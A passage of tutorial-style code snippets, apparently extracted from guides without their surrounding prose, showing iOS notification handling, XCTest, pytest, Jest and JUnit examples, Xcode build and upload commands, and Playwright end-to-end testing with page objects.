    func application(_ application: UIApplication, didRegisterForRemoteNotificationsWithDeviceToken deviceToken: Data) {
        let token = deviceToken.map { String(format: "%02.2hhx", $0) }.joined()
        print("Device Token: \(token)")
        // Send token to your server
    }

    // Called when registration fails
    func application(_ application: UIApplication, didFailToRegisterForRemoteNotificationsWithError error: Error) {
        print("Failed to register: \(error)")
    }

    // Handle notification when app is in foreground
    func userNotificationCenter(_ center: UNUserNotificationCenter, willPresent notification: UNNotification, withCompletionHandler completionHandler: @escaping (UNNotificationPresentationOptions) -> Void) {
        completionHandler([.banner, .sound, .badge])
    }

    // Handle notification tap
    func userNotificationCenter(_ center: UNUserNotificationCenter, didReceive response: UNNotificationResponse, withCompletionHandler completionHandler: @escaping () -> Void) {
        let userInfo = response.notification.request.content.userInfo
        print("Notification tapped: \(userInfo)")

        // Handle deep link or action
        if let urlString = userInfo["deeplink"] as? String,
           let url = URL(string: urlString) {
            // Navigate to specific screen
        }

        completionHandler()
    }
}

import UserNotifications

class NotificationManager {

    static let shared = NotificationManager()

    private init() {}

    // Schedule local notification
    func scheduleNotification(title: String, body: String, date: Date, identifier: String) {
        let content = UNMutableNotificationContent()
        content.title = title
        content.body = body
        content.sound = .default
        content.badge = 1

        // Add custom data
        content.userInfo = ["customKey": "customValue"]

        // Create trigger
        let calendar = Calendar.current
        let components = calendar.dateComponents([.year, .month, .day, .hour, .minute], from: date)
        let trigger = UNCalendarNotificationTrigger(dateMatching: components, repeats: false)

        // Create request
        let request = UNNotificationRequest(identifier: identifier, content: content, trigger: trigger)

        // Schedule notification
        UNUserNotificationCenter.current().add(request) { error in
            if let error = error {
                print("Error scheduling notification: \(error)")
            }
        }
    }

    // Schedule notification with time interval
    func scheduleNotification(title: String, body: String, timeInterval: TimeInterval, identifier: String) {
        let content = UNMutableNotificationContent()
        content.title = title
        content.body = body
        content.sound = .default

        let trigger = UNTimeIntervalNotificationTrigger(timeInterval: timeInterval, repeats: false)
        let request = UNNotificationRequest(identifier: identifier, content: content, trigger: trigger)

        UNUserNotificationCenter.current().add(request)
    }

    // Cancel notification
    func cancelNotification(identifier: String) {
        UNUserNotificationCenter.current().removePendingNotificationRequests(withIdentifiers: [identifier])
    }

    // Cancel all notifications
    func cancelAllNotifications() {
        UNUserNotificationCenter.current().removeAllPendingNotificationRequests()
    }

    // Get pending notifications
    func getPendingNotifications(completion: @escaping ([UNNotificationRequest]) -> Void) {
        UNUserNotificationCenter.current().getPendingNotificationRequests { requests in
            completion(requests)
        }
    }
}

// Usage
NotificationManager.shared.scheduleNotification(
    title: "Reminder",
    body: "Don't forget your meeting",
    timeInterval: 60, // 1 minute
    identifier: "meeting-reminder"
)

// Define notification categories and actions
func setupNotificationCategories() {
    // Define actions
    let likeAction = UNNotificationAction(
        identifier: "LIKE_ACTION",
        title: "Like",
        options: .foreground
    )

    let commentAction = UNTextInputNotificationAction(
        identifier: "COMMENT_ACTION",
        title: "Comment",
        options: [],
        textInputButtonTitle: "Send",
        textInputPlaceholder: "Your comment..."
    )

    let deleteAction = UNNotificationAction(
        identifier: "DELETE_ACTION",
        title: "Delete",
        options: .destructive
    )

    // Define category
    let category = UNNotificationCategory(
        identifier: "POST_CATEGORY",
        actions: [likeAction, commentAction, deleteAction],
        intentIdentifiers: [],
        options: []
    )

    // Register category
    UNUserNotificationCenter.current().setNotificationCategories([category])
}

// Use category in notification
func sendNotificationWithActions() {
    let content = UNMutableNotificationContent()
    content.title = "New Post"
    content.body = "Someone posted a photo"
    content.categoryIdentifier = "POST_CATEGORY"

    let trigger = UNTimeIntervalNotificationTrigger(timeInterval: 5, repeats: false)
    let request = UNNotificationRequest(identifier: "post-1", content: content, trigger: trigger)

    UNUserNotificationCenter.current().add(request)
}

// Handle action response
func userNotificationCenter(_ center: UNUserNotificationCenter, didReceive response: UNNotificationResponse, withCompletionHandler completionHandler: @escaping () -> Void) {

    switch response.actionIdentifier {
    case "LIKE_ACTION":
        print("User liked the post")

    case "COMMENT_ACTION":
        if let textResponse = response as? UNTextInputNotificationResponse {
            let comment = textResponse.userText
            print("User commented: \(comment)")
        }

    case "DELETE_ACTION":
        print("User deleted the post")

    default:
        break
    }

    completionHandler()
}

// Send notification with image
func sendNotificationWithImage(imageURL: URL) {
    let content = UNMutableNotificationContent()
    content.title = "New Photo"
    content.body = "Check out this amazing photo!"

    // Download and attach image
    downloadImage(from: imageURL) { localURL in
        if let localURL = localURL,
           let attachment = try? UNNotificationAttachment(identifier: "image", url: localURL, options: nil) {
            content.attachments = [attachment]

            let trigger = UNTimeIntervalNotificationTrigger(timeInterval: 5, repeats: false)
            let request = UNNotificationRequest(identifier: "photo-notification", content: content, trigger: trigger)

            UNUserNotificationCenter.current().add(request)
        }
    }
}

func downloadImage(from url: URL, completion: @escaping (URL?) -> Void) {
    URLSession.shared.downloadTask(with: url) { localURL, response, error in
        guard let localURL = localURL, error == nil else {
            completion(nil)
            return
        }

        // Move to temp directory
        let tempDirectory = FileManager.default.temporaryDirectory
        let tempFile = tempDirectory.appendingPathComponent(url.lastPathComponent)

        try? FileManager.default.removeItem(at: tempFile)
        try? FileManager.default.moveItem(at: localURL, to: tempFile)

        completion(tempFile)
    }.resume()
}

import XCTest
@testable import MyApp

class UserViewModelTests: XCTestCase {

    var viewModel: UserViewModel!
    var mockNetworkService: MockNetworkService!

    override func setUp() {
        super.setUp()
        mockNetworkService = MockNetworkService()
        viewModel = UserViewModel(networkService: mockNetworkService)
    }

    override func tearDown() {
        viewModel = nil
        mockNetworkService = nil
        super.tearDown()
    }

    // Test async functions
    func testFetchUserSuccess() async throws {
        // Arrange
        let expectedUser = User(id: 1, name: "John", email: "john@example.com")
        mockNetworkService.mockUser = expectedUser

        // Act
        await viewModel.fetchUser(id: 1)

        // Assert
        XCTAssertEqual(viewModel.user?.id, expectedUser.id)
        XCTAssertEqual(viewModel.user?.name, expectedUser.name)
        XCTAssertFalse(viewModel.isLoading)
        XCTAssertNil(viewModel.errorMessage)
    }

    func testFetchUserFailure() async {
        // Arrange
        mockNetworkService.shouldFail = true

        // Act
        await viewModel.fetchUser(id: 1)

        // Assert
        XCTAssertNil(viewModel.user)
        XCTAssertNotNil(viewModel.errorMessage)
        XCTAssertFalse(viewModel.isLoading)
    }

    func testDisplayName() {
        // Arrange
        viewModel.user = User(id: 1, name: "John", email: "john@example.com")

        // Act
        let displayName = viewModel.displayName

        // Assert
        XCTAssertEqual(displayName, "John")
    }

    func testDisplayNameWhenUserIsNil() {
        // Arrange
        viewModel.user = nil

        // Act
        let displayName = viewModel.displayName

        // Assert
        XCTAssertEqual(displayName, "Unknown")
    }
}

// Mock Network Service
class MockNetworkService: NetworkServiceProtocol {
    var mockUser: User?
    var shouldFail = false

    func getUser(id: Int) async throws -> User {
        if shouldFail {
            throw NSError(domain: "Test", code: -1, userInfo: [NSLocalizedDescriptionKey: "Mock error"])
        }

        guard let user = mockUser else {
            throw NSError(domain: "Test", code: -1, userInfo: [NSLocalizedDescriptionKey: "No user"])
        }

        return user
    }
}

import XCTest
import Combine
@testable import MyApp

class APIServiceTests: XCTestCase {

    var apiService: APIService!
    var cancellables: Set<AnyCancellable>!

    override func setUp() {
        super.setUp()
        apiService = APIService()
        cancellables = []
    }

    override func tearDown() {
        cancellables = nil
        apiService = nil
        super.tearDown()
    }

    func testFetchUsersSuccess() {
        // Arrange
        let expectation = XCTestExpectation(description: "Fetch users")
        var receivedUsers: [User]?

        // Act
        apiService.fetchUsers()
            .sink { completion in
                if case .failure(let error) = completion {
                    XCTFail("Expected success but got error: \(error)")
                }
            } receiveValue: { users in
                receivedUsers = users
                expectation.fulfill()
            }
            .store(in: &cancellables)

        // Assert
        wait(for: [expectation], timeout: 5.0)
        XCTAssertNotNil(receivedUsers)
        XCTAssertGreaterThan(receivedUsers?.count ?? 0, 0)
    }
}

import XCTest

class MyAppUITests: XCTestCase {

    var app: XCUIApplication!

    override func setUp() {
        super.setUp()
        continueAfterFailure = false
        app = XCUIApplication()
        app.launch()
    }

    func testLoginFlow() {
        // Find elements
        let usernameField = app.textFields["usernameTextField"]
        let passwordField = app.secureTextFields["passwordTextField"]
        let loginButton = app.buttons["loginButton"]

        // Interact with elements
        XCTAssertTrue(usernameField.exists)
        usernameField.tap()
        usernameField.typeText("testuser")

        XCTAssertTrue(passwordField.exists)
        passwordField.tap()
        passwordField.typeText("password123")

        XCTAssertTrue(loginButton.exists)
        loginButton.tap()

        // Verify navigation
        let welcomeLabel = app.staticTexts["welcomeLabel"]
        XCTAssertTrue(welcomeLabel.waitForExistence(timeout: 5))
    }

    func testTableViewInteraction() {
        let table = app.tables["userTable"]
        XCTAssertTrue(table.exists)

        let firstCell = table.cells.element(boundBy: 0)
        XCTAssertTrue(firstCell.exists)

        firstCell.tap()

        // Verify detail screen
        let detailView = app.otherElements["userDetailView"]
        XCTAssertTrue(detailView.waitForExistence(timeout: 2))
    }

    func testScreenshot() {
        let screenshot = app.screenshot()
        let attachment = XCTAttachment(screenshot: screenshot)
        attachment.lifetime = .keepAlways
        add(attachment)
    }
}

import XCTest
@testable import MyApp

class PerformanceTests: XCTestCase {

    func testDataProcessingPerformance() {
        let largeDataSet = (0..<10000).map { User(id: $0, name: "User \($0)", email: "user\($0)@example.com") }

        measure {
            // Code to measure performance
            let filtered = largeDataSet.filter { $0.id % 2 == 0 }
            let mapped = filtered.map { $0.name }
            _ = mapped.sorted()
        }
    }

    func testViewControllerLoadTime() {
        measure(metrics: [XCTClockMetric(), XCTMemoryMetric()]) {
            _ = UserViewController()
        }
    }
}

# Enable code coverage in Xcode
# Edit Scheme > Test > Options > Code Coverage

# Generate coverage report from command line
xcodebuild test \
  -scheme MyApp \
  -destination 'platform=iOS Simulator,name=iPhone 15 Pro' \
  -enableCodeCoverage YES

# View coverage in Xcode
# Show Report Navigator > Coverage tab

// iOS SwiftUI
struct ContentView: View {
    @State private var count = 0

    var body: some View {
        VStack {
            Text("Count: \(count)")
            Button("Increment") {
                count += 1
            }
        }
    }
}

// Android Jetpack Compose
@Composable
fun ContentView() {
    var count by remember { mutableStateOf(0) }

    Column {
        Text("Count: $count")
        Button(onClick = { count++ }) {
            Text("Increment")
        }
    }
}

// iOS - URLSession
let (data, _) = try await URLSession.shared.data(from: url)
let users = try JSONDecoder().decode([User].self, from: data)

// Android - Retrofit
interface ApiService {
    @GET("users")
    suspend fun getUsers(): List<User>
}

// iOS - Info.plist + Runtime request
NSCameraUsageDescription = "Need camera for photos"

AVCaptureDevice.requestAccess(for: .video) { granted in
    // Handle response
}

// Android - Manifest + Runtime request (API 23+)
<uses-permission android:name="android.permission.CAMERA" />

if (ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA)
    != PackageManager.PERMISSION_GRANTED) {
    ActivityCompat.requestPermissions(this,
        arrayOf(Manifest.permission.CAMERA), REQUEST_CODE)
}

# Debug build
xcodebuild -scheme MyApp -configuration Debug

# Release build
xcodebuild -scheme MyApp -configuration Release

# Clean build folder
xcodebuild clean -scheme MyApp

# List available signing identities
security find-identity -v -p codesigning

# Set signing in Xcode
# Project Settings > Signing & Capabilities
# - Select Team
# - Choose signing certificate
# - Enable "Automatically manage signing" (recommended)

# Archive from command line
xcodebuild archive \
  -scheme MyApp \
  -configuration Release \
  -archivePath build/MyApp.xcarchive

# Export IPA
xcodebuild -exportArchive \
  -archivePath build/MyApp.xcarchive \
  -exportPath build/MyApp \
  -exportOptionsPlist ExportOptions.plist

# Validate app
xcrun altool --validate-app \
  -f MyApp.ipa \
  -t ios \
  -u username@example.com \
  -p app-specific-password

# Upload to App Store Connect
xcrun altool --upload-app \
  -f MyApp.ipa \
  -t ios \
  -u username@example.com \
  -p app-specific-password

# Or use Xcode
# Archive > Distribute App > App Store Connect

1. Archive app in Xcode
2. Distribute App > App Store Connect
3. Upload to App Store Connect
4. In App Store Connect:
   - Select app
   - Go to TestFlight tab
   - Add internal/external testers
   - Distribute build

// In Xcode:
// File > Add Packages...
// Enter package URL

// Package.swift
// swift-tools-version:5.5
import PackageDescription

let package = Package(
    name: "MyApp",
    dependencies: [
        .package(url: "https://github.com/Alamofire/Alamofire.git", from: "5.6.0"),
    ],
    targets: [
        .target(
            name: "MyApp",
            dependencies: ["Alamofire"]
        ),
    ]
)

# Install CocoaPods
sudo gem install cocoapods

# Initialize Podfile
pod init

# Edit Podfile
# platform :ios, '15.0'
# use_frameworks!
#
# target 'MyApp' do
#   pod 'Alamofire', '~> 5.6'
#   pod 'Kingfisher', '~> 7.0'
# end

# Install pods
pod install

# Open workspace (not project)
open MyApp.xcworkspace

# Update pods
pod update

       E2E Tests (few)
      Integration Tests (more)
    Unit Tests (many)

# test_calculator.py
import pytest
from calculator import add, divide

def test_add():
    assert add(2, 3) == 5
    assert add(-1, 1) == 0

def test_add_floats():
    assert add(0.1, 0.2) == pytest.approx(0.3)

def test_divide_by_zero():
    with pytest.raises(ValueError):
        divide(10, 0)

@pytest.fixture
def calculator():
    """Setup fixture"""
    return Calculator()

def test_with_fixture(calculator):
    assert calculator.add(2, 3) == 5

@pytest.mark.parametrize("x,y,expected", [
    (2, 3, 5),
    (0, 0, 0),
    (-1, 1, 0),
])
def test_add_multiple(x, y, expected):
    assert add(x, y) == expected

// calculator.test.js
describe('Calculator', () => {
  test('add function', () => {
    expect(add(2, 3)).toBe(5);
  });

  test('divide by zero throws error', () => {
    expect(() => divide(10, 0)).toThrow();
  });

  test('floating point', () => {
    expect(add(0.1, 0.2)).toBeCloseTo(0.3);
  });
});

import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;

class CalculatorTest {
    private Calculator calc = new Calculator();

    @Test
    void testAdd() {
        assertEquals(5, calc.add(2, 3));
    }

    @Test
    void testDivideByZero() {
        assertThrows(ArithmeticException.class,
            () -> calc.divide(10, 0));
    }

    @BeforeEach
    void setup() {
        calc = new Calculator();
    }
}

from unittest.mock import Mock, patch

@patch('module.external_api')
def test_with_mock(mock_api):
    mock_api.return_value = {"status": "ok"}
    result = my_function()
    assert result == "success"
    mock_api.assert_called_once()

# Python coverage
pytest --cov=myapp tests/

# JavaScript coverage
npm test -- --coverage

assert x == y           # Equality
assert x > y            # Comparison
assert x is None        # Identity
assert x in list        # Membership
with raises(Exception): # Exception
    function()

# Test data layer
def test_database_connection():
    db = connect_to_database()
    assert db.is_connected()

# Test service layer with real database
def test_user_service():
    service = UserService(real_database)
    user = service.create_user("test@example.com")
    assert user.email == "test@example.com"

# Test API layer with real services
def test_api_endpoint():
    response = client.post("/users", json={"email": "test@example.com"})
    assert response.status_code == 201

# Test API first with mocked services
def test_api_with_mocks():
    with mock_user_service():
        response = client.post("/users", json={"email": "test@example.com"})
        assert response.status_code == 201

# Then test with real services
def test_api_with_real_services():
    response = client.post("/users", json={"email": "test@example.com"})
    user = db.query("SELECT * FROM users WHERE email = ?", "test@example.com")
    assert user is not None

# Flask example
from flask import Flask
from flask.testing import FlaskClient

def test_api_endpoints(client: FlaskClient):
    # POST request
    response = client.post('/api/users', json={
        'username': 'testuser',
        'email': 'test@example.com'
    })
    assert response.status_code == 201
    data = response.get_json()
    user_id = data['id']

    # GET request
    response = client.get(f'/api/users/{user_id}')
    assert response.status_code == 200
    assert response.json['username'] == 'testuser'

    # PUT request
    response = client.put(f'/api/users/{user_id}', json={
        'email': 'newemail@example.com'
    })
    assert response.status_code == 200

    # DELETE request
    response = client.delete(f'/api/users/{user_id}')
    assert response.status_code == 204

import pytest
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker

@pytest.fixture(scope="function")
def db_session():
    # Create test database
    engine = create_engine('sqlite:///:memory:')
    Base.metadata.create_all(engine)
    Session = sessionmaker(bind=engine)
    session = Session()

    yield session

    session.close()

def test_user_crud(db_session):
    # Create
    user = User(username="test", email="test@example.com")
    db_session.add(user)
    db_session.commit()

    # Read
    retrieved = db_session.query(User).filter_by(username="test").first()
    assert retrieved.email == "test@example.com"

    # Update
    retrieved.email = "updated@example.com"
    db_session.commit()

    # Delete
    db_session.delete(retrieved)
    db_session.commit()
    assert db_session.query(User).count() == 0

# docker-compose.test.yml
version: '3.8'
services:
  postgres:
    image: postgres:15
    environment:
      POSTGRES_DB: testdb
      POSTGRES_USER: test
      POSTGRES_PASSWORD: test
    ports:
      - "5432:5432"

  redis:
    image: redis:7
    ports:
      - "6379:6379"

  app:
    build: .
    depends_on:
      - postgres
      - redis
    environment:
      DATABASE_URL: postgresql://test:test@postgres:5432/testdb
      REDIS_URL: redis://redis:6379
    command: pytest tests/integration/

# Run integration tests
docker-compose -f docker-compose.test.yml up --abort-on-container-exit

import pytest

@pytest.fixture(scope="session")
def app():
    """Create application for testing"""
    app = create_app('testing')
    return app

@pytest.fixture(scope="session")
def client(app):
    """Create test client"""
    return app.test_client()

@pytest.fixture(scope="function")
def clean_database(db_session):
    """Clean database before each test"""
    db_session.query(User).delete()
    db_session.query(Order).delete()
    db_session.commit()
    yield
    db_session.rollback()

def test_with_clean_db(client, clean_database):
    response = client.post('/users', json={'username': 'test'})
    assert response.status_code == 201

from unittest.mock import patch, Mock

def test_external_api_integration():
    with patch('requests.get') as mock_get:
        mock_response = Mock()
        mock_response.status_code = 200
        mock_response.json.return_value = {'data': 'test'}
        mock_get.return_value = mock_response

        result = fetch_external_data()
        assert result['data'] == 'test'
        mock_get.assert_called_once()

def test_add_positive_numbers():
    assert add(2, 3) == 5

def add(a, b):
    return 5  # Hardcoded to pass test

def add(a, b):
    return a + b  # Proper implementation

class TestCalculator:
    def test_add(self):
        calc = Calculator()
        assert calc.add(2, 3) == 5

class Calculator:
    def add(self, a, b):
        return a + b

class Calculator:
    def add(self, a, b):
        """Add two numbers"""
        if not isinstance(a, (int, float)):
            raise TypeError("a must be number")
        return a + b

def test_withdraw():
    # Arrange
    account = Account(1000)
    # Act
    account.withdraw(200)
    # Assert
    assert account.balance == 800

# calculator.py - EMPTY (start)

# test_calculator.py
def test_multiply():
    # Test fails: function doesn't exist (RED)
    assert multiply(3, 4) == 12

# calculator.py - implement
def multiply(a, b):
    return a * b

# test passes (GREEN)

# Refactor if needed

# Typical TDD: 90%+ coverage
# Non-TDD: 20-40% coverage

test_add_positive_numbers()
test_add_negative_numbers()

test_user_can_withdraw_money()
test_system_prevents_overdraft()

pip install pytest
pip install pytest pytest-cov pytest-mock pytest-xdist

# Verify
pytest --version

# Run all tests
pytest

# Run specific file
pytest test_example.py

# Run specific test
pytest test_example.py::test_function

# Run with verbose output
pytest -v

# Run with coverage
pytest --cov=myapp tests/

# Parallel execution
pytest -n 4

# test_example.py

# Simple test
def test_addition():
    assert 1 + 1 == 2

# Test with setup
def test_list():
    my_list = [1, 2, 3]
    assert len(my_list) == 3
    assert 2 in my_list

# Test exceptions
import pytest

def test_division_by_zero():
    with pytest.raises(ZeroDivisionError):
        1 / 0

# Parametrized test
@pytest.mark.parametrize("input,expected", [
    (1, 2),
    (2, 3),
    (3, 4),
])
def test_increment(input, expected):
    assert input + 1 == expected

import pytest

# Basic fixture
@pytest.fixture
def sample_data():
    return [1, 2, 3, 4, 5]

def test_sum(sample_data):
    assert sum(sample_data) == 15

# Fixture with setup/teardown
@pytest.fixture
def database_connection():
    # Setup
    conn = create_connection()
    yield conn
    # Teardown
    conn.close()

# Scope: function (default), class, module, package, session
@pytest.fixture(scope="module")
def expensive_resource():
    return load_expensive_data()

# Autouse fixture
@pytest.fixture(autouse=True)
def setup_test():
    print("Setting up test")
    yield
    print("Tearing down test")

import pytest

# Skip test
@pytest.mark.skip(reason="Not implemented yet")
def test_feature():
    pass

# Skip conditionally
@pytest.mark.skipif(sys.version_info < (3, 8), reason="Requires Python 3.8+")
def test_modern_feature():
    pass

# Expected to fail
@pytest.mark.xfail
def test_known_bug():
    assert False

# Custom marker
@pytest.mark.slow
def test_slow_operation():
    pass

# Run specific markers
# pytest -m slow
# pytest -m "not slow"

from unittest.mock import Mock, patch, MagicMock

def test_with_mock():
    mock_obj = Mock()
    mock_obj.method.return_value = 42
    assert mock_obj.method() == 42

# Patch function
def test_with_patch():
    with patch('module.function') as mock_func:
        mock_func.return_value = 'mocked'
        result = module.function()
        assert result == 'mocked'

# pytest-mock plugin
def test_with_mocker(mocker):
    mock = mocker.patch('module.function')
    mock.return_value = 'mocked'
    assert module.function() == 'mocked'

        E2E Tests (10%)
       /              \
      Integration (20%)
     /                  \
    Unit Tests (70%)

Login → Browse Products → Add to Cart → Checkout → Payment → Confirmation

# Initialize Playwright project
npm init playwright@latest

# Or add to existing project
npm install -D @playwright/test

# Install browsers
npx playwright install

my-project/
├── tests/
│   ├── auth.spec.ts
│   ├── checkout.spec.ts
│   └── search.spec.ts
├── playwright.config.ts
└── package.json

// playwright.config.ts
import { defineConfig, devices } from '@playwright/test';

export default defineConfig({
  testDir: './tests',
  fullyParallel: true,
  forbidOnly: !!process.env.CI,
  retries: process.env.CI ? 2 : 0,
  workers: process.env.CI ? 1 : undefined,
  reporter: 'html',

  use: {
    baseURL: 'http://localhost:3000',
    trace: 'on-first-retry',
    screenshot: 'only-on-failure',
  },

  projects: [
    {
      name: 'chromium',
      use: { ...devices['Desktop Chrome'] },
    },
    {
      name: 'firefox',
      use: { ...devices['Desktop Firefox'] },
    },
    {
      name: 'webkit',
      use: { ...devices['Desktop Safari'] },
    },
  ],

  webServer: {
    command: 'npm run start',
    url: 'http://localhost:3000',
    reuseExistingServer: !process.env.CI,
  },
});

import { test, expect } from '@playwright/test';

test.describe('User Authentication', () => {
  test.beforeEach(async ({ page }) => {
    // Setup before each test
    await page.goto('/');
  });

  test('should login successfully', async ({ page }) => {
    // Arrange
    await page.goto('/login');

    // Act
    await page.fill('[name="email"]', 'user@example.com');
    await page.fill('[name="password"]', 'password123');
    await page.click('button[type="submit"]');

    // Assert
    await expect(page).toHaveURL('/dashboard');
    await expect(page.locator('h1')).toContainText('Welcome');
  });

  test('should show error for invalid credentials', async ({ page }) => {
    await page.goto('/login');
    await page.fill('[name="email"]', 'wrong@example.com');
    await page.fill('[name="password"]', 'wrongpass');
    await page.click('button[type="submit"]');

    const error = page.locator('.error-message');
    await expect(error).toBeVisible();
    await expect(error).toContainText('Invalid credentials');
  });
});

await page.locator('button').click();
await page.locator('.submit-button').click();
await page.locator('#login-form input[name="email"]').fill('test@example.com');

await page.locator('text=Sign in').click();
await page.locator('button:has-text("Submit")').click();

// Most robust and accessible
await page.getByRole('button', { name: 'Sign in' }).click();
await page.getByRole('textbox', { name: 'Email' }).fill('test@example.com');
await page.getByRole('link', { name: 'About' }).click();

// HTML: <button data-testid="submit-btn">Submit</button>
await page.getByTestId('submit-btn').click();

await page.getByLabel('Email address').fill('test@example.com');
await page.getByLabel('Password').fill('secret');

await page.getByPlaceholder('Enter your email').fill('test@example.com');

// Find button inside a specific form
await page.locator('form#login').getByRole('button', { name: 'Submit' }).click();

// Find element with multiple conditions
await page.locator('button').filter({ hasText: 'Submit' }).filter({ has: page.locator('.icon') }).click();

// Playwright waits automatically
await page.click('button'); // Waits for button to be clickable

// No need for manual waits
await page.fill('input', 'text'); // Waits for input to be ready

// Wait for element to be visible
await page.locator('.modal').waitFor({ state: 'visible' });

// Wait for element to be hidden
await page.locator('.loader').waitFor({ state: 'hidden' });

// Wait for element to exist in DOM
await page.locator('.dynamic-content').waitFor({ state: 'attached' });

// Wait for specific condition
await page.waitForFunction(() => {
  return document.querySelectorAll('.list-item').length > 5;
});

// Wait for URL change
await page.waitForURL('**/dashboard');

// Wait for load state
await page.waitForLoadState('networkidle');
await page.waitForLoadState('domcontentloaded');

// Listen to all requests
page.on('request', request => {
  console.log('>>', request.method(), request.url());
});

// Listen to all responses
page.on('response', response => {
  console.log('<<', response.status(), response.url());
});

// Wait for specific request
const response = await page.waitForResponse(
  response => response.url().includes('/api/users') && response.status() === 200
);

// Mock API endpoint
await page.route('**/api/users', route => {
  route.fulfill({
    status: 200,
    contentType: 'application/json',
    body: JSON.stringify([
      { id: 1, name: 'Test User' },
      { id: 2, name: 'Another User' }
    ])
  });
});

// Navigate to page (will use mocked data)
await page.goto('/users');

// Add authentication header
await page.route('**/api/**', route => {
  const headers = {
    ...route.request().headers(),
    'Authorization': 'Bearer fake-token'
  };
  route.continue({ headers });
});

// Block images and stylesheets for faster tests
await page.route('**/*.{png,jpg,jpeg,css}', route => route.abort());

// Simulate slow network
await page.route('**/api/**', async route => {
  await new Promise(resolve => setTimeout(resolve, 1000)); // 1s delay
  route.continue();
});

// Simulate network failure
await page.route('**/api/flaky-endpoint', route => {
  route.abort('failed');
});

// Screenshot entire page
await page.screenshot({ path: 'screenshot.png' });

// Full page screenshot (scrolls automatically)
await page.screenshot({ path: 'fullpage.png', fullPage: true });

// Screenshot specific element
const element = page.locator('.header');
await element.screenshot({ path: 'header.png' });

// Screenshot to buffer
const buffer = await page.screenshot();

// Automatic screenshot on failure (in config)
use: {
  screenshot: 'only-on-failure',
}

// playwright.config.ts
use: {
  video: 'on', // 'off' | 'on' | 'retain-on-failure' | 'on-first-retry'
}

// Access video path in test
test('example', async ({ page }, testInfo) => {
  await page.goto('/');
  // ... test actions

  // Video path available after test
  const videoPath = await page.video()?.path();
  console.log(videoPath);
});

// playwright.config.ts
use: {
  trace: 'on-first-retry', // 'off' | 'on' | 'retain-on-failure' | 'on-first-retry'
}

// View traces
// npx playwright show-trace trace.zip

// Cypress
describe('Login', () => {
  it('logs in successfully', () => {
    cy.visit('/login');
    cy.get('[name="email"]').type('user@example.com');
    cy.get('[name="password"]').type('password123');
    cy.get('button[type="submit"]').click();

    cy.url().should('include', '/dashboard');
    cy.get('h1').should('contain', 'Welcome');
  });
});

// Playwright
test('logs in successfully', async ({ page }) => {
  await page.goto('/login');
  await page.fill('[name="email"]', 'user@example.com');
  await page.fill('[name="password"]', 'password123');
  await page.click('button[type="submit"]');

  await expect(page).toHaveURL(/.*dashboard/);
  await expect(page.locator('h1')).toContainText('Welcome');
});

tests/
├── auth/
│   ├── login.spec.ts
│   ├── signup.spec.ts
│   ├── password-reset.spec.ts
│   └── logout.spec.ts
├── products/
│   ├── search.spec.ts
│   ├── filter.spec.ts
│   └── details.spec.ts
└── checkout/
    ├── cart.spec.ts
    ├── payment.spec.ts
    └── confirmation.spec.ts

tests/
├── user-journeys/
│   ├── new-user-signup.spec.ts
│   ├── returning-user-purchase.spec.ts
│   └── admin-workflow.spec.ts
├── critical-paths/
│   ├── checkout.spec.ts
│   └── payment.spec.ts
└── edge-cases/
    └── error-handling.spec.ts

// fixtures/auth.ts
import { test as base } from '@playwright/test';

type AuthFixtures = {
  authenticatedPage: Page;
};

export const test = base.extend<AuthFixtures>({
  authenticatedPage: async ({ page }, use) => {
    // Login before test
    await page.goto('/login');
    await page.fill('[name="email"]', 'user@example.com');
    await page.fill('[name="password"]', 'password123');
    await page.click('button[type="submit"]');
    await page.waitForURL('**/dashboard');

    // Use authenticated page in test
    await use(page);

    // Cleanup (logout) after test
    await page.click('[data-testid="logout"]');
  },
});

// Use in tests
import { test } from './fixtures/auth';

test('access protected resource', async ({ authenticatedPage }) => {
  await authenticatedPage.goto('/profile');
  await expect(authenticatedPage.locator('h1')).toContainText('My Profile');
});

// global-setup.ts
import { chromium, FullConfig } from '@playwright/test';

async function globalSetup(config: FullConfig) {
  const browser = await chromium.launch();
  const page = await browser.newPage();

  // Perform one-time setup
  await page.goto('http://localhost:3000/setup');
  await page.click('button[data-testid="init-db"]');

  await browser.close();
}

export default globalSetup;

// playwright.config.ts
export default defineConfig({
  globalSetup: require.resolve('./global-setup'),
});

// helpers/auth.ts
import { Page } from '@playwright/test';

export async function login(page: Page, email: string, password: string) {
  await page.goto('/login');
  await page.fill('[name="email"]', email);
  await page.fill('[name="password"]', password);
  await page.click('button[type="submit"]');
  await page.waitForURL('**/dashboard');
}

export async function logout(page: Page) {
  await page.click('[data-testid="user-menu"]');
  await page.click('[data-testid="logout"]');
  await page.waitForURL('**/login');
}

// Use in tests
import { login, logout } from './helpers/auth';

test('user workflow', async ({ page }) => {
  await login(page, 'user@example.com', 'password123');
  // ... test actions
  await logout(page);
});

// pages/LoginPage.ts
import { Page, Locator } from '@playwright/test';

export class LoginPage {
  readonly page: Page;
  readonly emailInput: Locator;
  readonly passwordInput: Locator;
  readonly submitButton: Locator;
  readonly errorMessage: Locator;

  constructor(page: Page) {
    this.page = page;
    this.emailInput = page.getByLabel('Email');
    this.passwordInput = page.getByLabel('Password');
    this.submitButton = page.getByRole('button', { name: 'Sign in' });
    this.errorMessage = page.locator('.error-message');
  }

  async goto() {
    await this.page.goto('/login');
  }

  async login(email: string, password: string) {
    await this.emailInput.fill(email);
    await this.passwordInput.fill(password);
    await this.submitButton.click();
  }

  async getErrorText() {
    return await this.errorMessage.textContent();
  }
}

import { test, expect } from '@playwright/test';
import { LoginPage } from './pages/LoginPage';

test('login with valid credentials', async ({ page }) => {
  const loginPage = new LoginPage(page);
  await loginPage.goto();
  await loginPage.login('user@example.com', 'password123');

  await expect(page).toHaveURL(/.*dashboard/);
});

test('login with invalid credentials', async ({ page }) => {
  const loginPage = new LoginPage(page);
  await loginPage.goto();
  await loginPage.login('wrong@example.com', 'wrongpass');

  await expect(loginPage.errorMessage).toBeVisible();
  const errorText = await loginPage.getErrorText();
  expect(errorText).toContain('Invalid credentials');
});

// pages/DashboardPage.ts
import { Page, Locator } from '@playwright/test';

export class DashboardPage {
  readonly page: Page;
  readonly header: Locator;
  readonly userMenu: Locator;
  readonly notifications: Locator;

  constructor(page: Page) {
    this.page = page;
    this.header = page.locator('header');
    this.userMenu = page.getByTestId('user-menu');
    this.notifications = page.getByTestId('notifications');
  }

  async goto() {
    await this.page.goto('/dashboard');
  }

  async openUserMenu() {
    await this.userMenu.click();
  }

  async logout() {
    await this.openUserMenu();
